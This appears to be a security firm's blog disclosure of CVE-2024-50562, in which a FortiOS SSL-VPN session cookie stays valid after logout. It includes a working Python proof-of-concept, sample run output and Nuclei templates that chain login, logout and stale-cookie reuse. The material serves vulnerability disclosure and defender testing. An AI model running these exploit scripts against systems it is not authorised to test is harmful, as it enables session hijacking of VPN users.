Breaking Sessions: The Story of CVE-2024-50562 in Fortinet Web Client
BugB Security Team
Security Researchers
BugB Security Team
Security Researchers
An Insufficient Session Expiration vulnerability [CWE-613] in FortiOS SSL-VPN lets an attacker replay a stale VPN cookie—even after the user logs out—and silently regain portal access.
Version Family | Affected Builds | Fixed Release |
---|---|---|
FortiOS 7.6 | 7.6.0 | 7.6.1 or later |
FortiOS 7.4 | 7.4.0 – 7.4.7 | 7.4.8 + |
FortiOS 7.2 | 7.2.0 – 7.2.10 | 7.2.11 + |
FortiOS 7.0 | all 7.0.x | Migrate to a fixed branch |
FortiOS 6.4 | all 6.4.x | Migrate to a fixed branch |
FortiSASE 24.4 | 24.4.b | 24.4.c (already remediated) |
Note : Tunnel-mode VPN is not affected.
CVE-2024-50562 (Fortinet advisory FG-IR-24-339) is a session-management flaw. The server deletes the primary SVPNCOOKIE
token on logout but forgets about the auxiliary SVPNTMPCOOKIE
, which still authenticates the user.
During an AI-assisted red-team engagement, our Cert-X-Gen agent automatically:
The agent noticed SVPNTMPCOOKIE
remained valid, triggering deeper manual analysis.
SVPNTMPCOOKIE
in a fresh sessionWe released a minimal PoC (cve-2024-50562.py
) so defenders can validate their appliances.
#!/usr/bin/env python3
"""
# Exploit Title: Fortinet SSL-VPN Session Management Bypass
# Date: 2025-06-15
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
# Tested on: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (Medium)
# Category: Session Management
# CWE: CWE-613 (Insufficient Session Expiration)
Description:
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker
to reuse stale session cookies after logout, potentially leading to unauthorized access.
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.
References:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562
Usage:
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
Example:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""
import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse
# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class FortinetExploit:
def __init__(self, target, username, password, realm="", timeout=10, force=False):
self.target = target
self.username = username
self.password = password
self.realm = realm
self.timeout = timeout
self.force = force
self.base_url = f"https://{target}"
self.session = None
def banner(self):
"""Display exploit banner"""
print("=" * 70)
print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
print("Author: Shahid Parvez Hakim (BugB Technologies)")
print("CVSS: 4.4 (Medium) | FG-IR-24-339")
print("=" * 70)
print(f"Target: {self.target}")
print(f"User: {self.username}")
print("-" * 70)
def validate_target(self):
"""Check if target is reachable and is Fortinet SSL-VPN"""
try:
print("[*] Validating target...")
response = requests.get(f"{self.base_url}/remote/login",
verify=False, timeout=self.timeout)
# More flexible detection for Fortinet SSL-VPN
fortinet_indicators = [
"fortinet", "fortigate", "forticlient",
"sslvpn", "/remote/login", "SVPNCOOKIE",
"logincheck", "hostcheck_install",
"fgt_lang", "realm"
]
response_text = response.text.lower()
detected_indicators = [indicator for indicator in fortinet_indicators
if indicator in response_text]
if detected_indicators:
print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
return True
elif response.status_code == 200:
print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
return True
else:
print("[-] Target does not appear to be Fortinet SSL-VPN")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
def attempt_login(self):
"""Attempt to authenticate with provided credentials"""
try:
print("[*] Attempting authentication...")
self.session = requests.Session()
self.session.verify = False
# Get login page first
self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
# Attempt login
login_data = {
"ajax": "1",
"username": self.username,
"realm": self.realm,
"credential": self.password
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = self.session.post(f"{self.base_url}/remote/logincheck",
data=login_data, headers=headers,
timeout=self.timeout)
# Check if login was successful
if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
print("[+] Authentication successful!")
# Extract and display cookies
cookies = requests.utils.dict_from_cookiejar(response.cookies)
self.display_cookies(cookies, "Login")
return True, cookies
else:
print("[-] Authentication failed!")
print(f"[!] Server response: {response.text[:100]}...")
return False, {}
except requests.exceptions.RequestException as e:
print(f"[-] Login request failed: {e}")
return False, {}
def perform_logout(self):
"""Perform logout and check cookie invalidation"""
try:
print("[*] Performing logout...")
response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
print("[+] Logout completed")
self.display_cookies(cookies_after_logout, "Logout")
return cookies_after_logout
except requests.exceptions.RequestException as e:
print(f"[-] Logout request failed: {e}")
return {}
def test_session_reuse(self, original_cookies):
"""Test if old session cookies still work after logout"""
try:
print("[*] Testing session cookie reuse...")
# Create new session to simulate attacker
exploit_session = requests.Session()
exploit_session.verify = False
# Use original login cookies
exploit_session.cookies.update(original_cookies)
# Try to access protected resource
test_url = f"{self.base_url}/sslvpn/portal.html"
response = exploit_session.get(test_url, timeout=self.timeout)
# Check if we're still authenticated
if self.is_authenticated_response(response.text):
print("[!] VULNERABILITY CONFIRMED!")
print("[!] Session cookies remain valid after logout")
print("[!] CVE-2024-50562 affects this system")
return True
else:
print("[+] Session properly invalidated")
print("[+] System appears to be patched")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Session reuse test failed: {e}")
return False
def is_authenticated_response(self, response_body):
"""Check if response indicates authenticated access"""
# If response contains login form elements, user is not authenticated
if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
return False
return True
def display_cookies(self, cookies, context):
"""Display cookies in a formatted way"""
if cookies:
print(f"[*] Cookies after {context}:")
for name, value in cookies.items():
# Truncate long values for display
display_value = value[:20] + "..." if len(value) > 20 else value
print(f" {name} = {display_value}")
# Highlight important cookies for CVE
if name == "SVPNTMPCOOKIE":
print(f" [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
elif name == "SVPNCOOKIE":
print(f" [*] Found SVPNCOOKIE - Primary session cookie")
else:
print(f"[*] No cookies set after {context}")
def exploit(self):
"""Main exploit routine"""
self.banner()
# Step 1: Validate target (unless forced to skip)
if not self.force:
if not self.validate_target():
print("[!] Use --force to skip target validation and proceed anyway")
return False
else:
print("[*] Skipping target validation (--force enabled)")
# Step 2: Attempt login
login_success, login_cookies = self.attempt_login()
if not login_success:
return False
# Step 3: Perform logout
logout_cookies = self.perform_logout()
# Step 4: Test session reuse
vulnerable = self.test_session_reuse(login_cookies)
# Step 5: Display results
print("\n" + "=" * 70)
print("EXPLOIT RESULTS")
print("=" * 70)
if vulnerable:
print("STATUS: VULNERABLE")
print("CVE-2024-50562: CONFIRMED")
print("SEVERITY: Medium (CVSS 4.4)")
print("\nRECOMMENDATIONS:")
print("- Upgrade to patched FortiOS version")
print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
else:
print("STATUS: NOT VULNERABLE")
print("CVE-2024-50562: NOT AFFECTED")
print("\nSystem appears to be patched or not vulnerable")
return vulnerable
def parse_target(target_string):
"""Parse target string and extract host:port"""
if ':' not in target_string:
# Default HTTPS port if not specified
return f"{target_string}:443"
return target_string
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
"""
)
parser.add_argument('-t', '--target', required=True,
help='Target IP:PORT (e.g., 192.168.1.10:443)')
parser.add_argument('-u', '--username', required=True,
help='Username for authentication')
parser.add_argument('-p', '--password', required=True,
help='Password for authentication')
parser.add_argument('--realm', default='',
help='Authentication realm (optional)')
parser.add_argument('--timeout', type=int, default=10,
help='Request timeout in seconds (default: 10)')
parser.add_argument('--force', action='store_true',
help='Skip target validation and proceed anyway')
args = parser.parse_args()
# Parse and validate target
target = parse_target(args.target)
try:
# Initialize and run exploit
exploit = FortinetExploit(target, args.username, args.password,
args.realm, args.timeout, args.force)
vulnerable = exploit.exploit()
# Exit with appropriate code
sys.exit(0 if vulnerable else 1)
except KeyboardInterrupt:
print("\n[!] Exploit interrupted by user")
sys.exit(1)
except Exception as e:
print(f"[!] Unexpected error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()%
pip install requests
python3 cve-2024-50562.py \
--targets 203.0.113.23:4433 \
--user vpn_test --password 'P@55w0rd!'
Output | Meaning |
---|---|
REUSED |
Device vulnerable – cookie still works |
INVALIDATED |
Device patched – old cookie rejected |
LOGIN-FAIL |
Credentials invalid or VPN requires MFA |
Pro tip: test multiple interfaces (e.g., :443, :4433, :10443). Some admins patch one portal but miss others.
$ python3 cve-2024-50562.py -t 192.168.1.10:4433 -u testuser -p testpass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.4 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.10:4433
User: testuser
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: sslvpn, logincheck, realm)
[*] Attempting authentication...
[+] Authentication successful!
[*] Cookies after Login:
SVPNTMPCOOKIE = QiQb9H5cJlEusVlV2TdU...
[!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562
[*] Performing logout...
[+] Logout completed
[*] No cookies set after Logout
[*] Testing session cookie reuse...
[!] VULNERABILITY CONFIRMED!
[!] Session cookies remain valid after logout
[!] CVE-2024-50562 affects this system
======================================================================
EXPLOIT RESULTS
======================================================================
STATUS: VULNERABLE
CVE-2024-50562: CONFIRMED
SEVERITY: Medium (CVSS 4.4)
RECOMMENDATIONS:
- Upgrade to patched FortiOS version
- FortiOS 7.6.x: Upgrade to 7.6.1+
- FortiOS 7.4.x: Upgrade to 7.4.8+
- FortiOS 7.2.x: Upgrade to 7.2.11+
- FortiOS 7.0.x/6.4.x: Migrate to supported version
$ python3 cve-2024-50562.py -t 192.168.1.20:443 -u admin -p securepass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.4 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.20:443
User: admin
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: fortinet, sslvpn, logincheck)
[*] Attempting authentication...
[+] Authentication successful!
[*] Cookies after Login:
SVPNCOOKIE = aBc123XyZ789...
SVPNTMPCOOKIE = QiQb9H5cJlEusVlV2TdU...
[*] Found SVPNCOOKIE - Primary session cookie
[!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562
[*] Performing logout...
[+] Logout completed
[*] Cookies after Logout:
SVPNCOOKIE =
SVPNTMPCOOKIE =
[*] Testing session cookie reuse...
[+] Session properly invalidated
[+] System appears to be patched
======================================================================
EXPLOIT RESULTS
======================================================================
STATUS: NOT VULNERABLE
CVE-2024-50562: NOT AFFECTED
System appears to be patched or not vulnerable
$ python3 cve-2024-50562.py -t 192.168.1.30:443 -u wronguser -p wrongpass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.4 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.30:443
User: wronguser
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: fortigate, realm, logincheck)
[*] Attempting authentication...
[-] Authentication failed!
[!] Server response: ret=0,redir=/remote/login?&err=sslvpn_login_permission_denied&lang=en...
Vulnerable System Signs:
VULNERABILITY CONFIRMED!
messageSession cookies remain valid after logout
STATUS: VULNERABLE
in final resultsCVE-2024-50562: CONFIRMED
Secure System Signs:
Session properly invalidated
messageSystem appears to be patched
STATUS: NOT VULNERABLE
in final resultsCommon Issues:
--force
flag if target validation fails but you know it's a Fortinet deviceid: cve-2024-50562
info:
name: CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
author: BugB Security Team
severity: medium
description: |
Fortinet SSL-VPN suffers from insufficient session expiration vulnerability.
The SVPNTMPCOOKIE remains valid after logout, allowing session hijacking.
This template tests the complete exploit chain: login -> logout -> session reuse.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
cvss-score: 4.4
cve-id: CVE-2024-50562
cwe-id: CWE-613
metadata:
max-request: 4
tags: fortinet,sslvpn,session-hijack,authentication-bypass,cve2024
reference:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562
variables:
username: "{{username}}"
password: "{{password}}"
realm: ""
http:
# Step 1: Initial connection to login portal
- method: GET
path:
- "{{BaseURL}}/remote/login?lang=en"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "fortinet") || contains(tolower(body), "fortigate") || contains(tolower(body), "sslvpn") || contains(body, "/remote/logincheck")'
condition: and
# Step 2: Perform authentication and capture session cookies
- method: POST
path:
- "{{BaseURL}}/remote/logincheck"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: |
ajax=1&username={{username}}&realm={{realm}}&credential={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "ret=1")'
- 'contains(body, "hostcheck_install")'
condition: and
extractors:
- type: regex
name: svpncookie
part: header
regex:
- 'SVPNCOOKIE=([^;]+)'
internal: true
- type: regex
name: svpntmpcookie
part: header
regex:
- 'SVPNTMPCOOKIE=([^;]+)'
internal: true
# Step 3: Perform logout (this should invalidate sessions)
- method: GET
path:
- "{{BaseURL}}/remote/logout"
headers:
Cookie: "SVPNCOOKIE={{svpncookie}}; SVPNTMPCOOKIE={{svpntmpcookie}}"
matchers:
- type: status
status:
- 200
# Step 4: Test session reuse with old SVPNTMPCOOKIE (the vulnerability)
- method: GET
path:
- "{{BaseURL}}/sslvpn/portal.html"
headers:
Cookie: "SVPNTMPCOOKIE={{svpntmpcookie}}"
matchers-condition: and
matchers:
- type: status
status:
- 200
# If we don't see login form elements, session is still active = VULNERABLE
- type: dsl
dsl:
- '!contains(tolower(body), "/remote/login")'
- '!contains(tolower(body), "name=\"username\"")'
- '!contains(tolower(body), "name=''username''")'
- '!contains(tolower(body), "logincheck")'
condition: and
extractors:
- type: dsl
dsl:
- '"CVE-2024-50562: VULNERABLE - Session reuse successful after logout"'
---
# Alternative template with raw requests for better control
id: cve-2024-50562-raw
info:
name: CVE-2024-50562 - Fortinet SSL-VPN Session Reuse (Raw)
author: BugB Security Team
severity: medium
description: |
Tests CVE-2024-50562 using raw HTTP requests for precise control.
Follows the exact exploit chain: login -> capture cookies -> logout -> reuse cookie.
classification:
cve-id: CVE-2024-50562
cwe-id: CWE-613
metadata:
max-request: 4
tags: fortinet,sslvpn,session-reuse,cve2024
variables:
test_user: "{{username}}"
test_pass: "{{password}}"
test_realm: ""
http:
- raw:
# Step 1: Get login page
- |
GET /remote/login?lang=en HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (compatible; Nuclei)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
# Step 2: Perform login and capture cookies
- |
POST /remote/logincheck HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (compatible; Nuclei)
Content-Type: application/x-www-form-urlencoded
Content-Length: {{len(body)}}
Connection: close
ajax=1&username={{test_user}}&realm={{test_realm}}&credential={{test_pass}}
# Step 3: Logout with valid session
- |
GET /remote/logout HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (compatible; Nuclei)
Cookie: SVPNCOOKIE={{svpncookie}}; SVPNTMPCOOKIE={{svpntmpcookie}}
Connection: close
# Step 4: Test session reuse with SVPNTMPCOOKIE only
- |
GET /sslvpn/portal.html HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (compatible; Nuclei)
Cookie: SVPNTMPCOOKIE={{svpntmpcookie}}
Connection: close
cookie-reuse: true
extractors:
- type: regex
name: svpncookie
part: header
regex:
- 'SVPNCOOKIE=([^;]+)'
internal: true
- type: regex
name: svpntmpcookie
part: header
regex:
- 'SVPNTMPCOOKIE=([^;]+)'
internal: true
matchers-condition: and
matchers:
# Verify login was successful
- type: dsl
dsl:
- 'contains(body_2, "ret=1")'
- 'contains(body_2, "hostcheck_install")'
condition: and
# Verify session reuse worked (vulnerability confirmed)
- type: dsl
dsl:
- 'status_code_4 == 200'
- '!contains(tolower(body_4), "/remote/login")'
- '!contains(tolower(body_4), "username")'
- '!contains(tolower(body_4), "password")'
condition: and
extractors:
- type: dsl
dsl:
- '"CVE-2024-50562 CONFIRMED: SVPNTMPCOOKIE reuse successful"'
Our AI agent combines:
It simulates real-world attacker behavior—intelligent adversarial testing, not just passive scanning.
Fortinet thanks Shahid Parvez Hakim, CEO & Founder of BugB Technologies (bugb.io), for responsible disclosure and collaboration.
CVE-2024-50562 reminds us: session management is your frontline. With AI-led adversarial testing from Cert-X-Gen, you get proactive defense—patch today before an attacker tests your sessions for you.